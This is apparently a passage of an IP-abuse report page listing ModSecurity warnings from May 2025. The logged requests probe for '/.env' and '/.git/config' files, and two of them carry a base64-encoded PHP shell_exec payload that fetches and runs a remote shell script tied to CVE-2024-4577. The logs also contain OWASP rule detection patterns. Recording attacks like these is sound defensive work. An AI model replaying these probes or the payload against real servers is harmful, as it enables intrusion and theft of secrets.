3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack
🇳🇱 45.148.10.42	11 May 2025	11/May/2025:23:59:19.422631 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 11/May/2025:23:59:19.422631 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.template"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.45.16"] [uri "/.env.template"] [unique_id "aCEdt937ILFfcd7ekioqLQAACpI"] 11/May/2025:23:59:19.491547 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930 ... show less	Hacking Web App Attack
🇧🇪 34.34.185.61	11 May 2025	11/May/2025:23:28:17.562226 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 11/May/2025:23:28:17.562226 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.34.185.61] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id ... show less	Hacking Web App Attack
🇳🇱 194.50.16.252	11 May 2025	11/May/2025:23:21:15.714524 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 11/May/2025:23:21:15.714524 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mignonnes.org"] [uri "/.git/config"] [unique_id "aCEUy33tL1scgFhLNwEyDQAAAIk"] 11/May/2025:23:21:15.764824 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930 ... show less	Hacking Web App Attack
🇺🇸 34.30.239.72	11 May 2025	11/May/2025:22:56:19.732357 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 11/May/2025:22:56:19.732357 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.30.239.72] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id ... show less	Hacking Web App Attack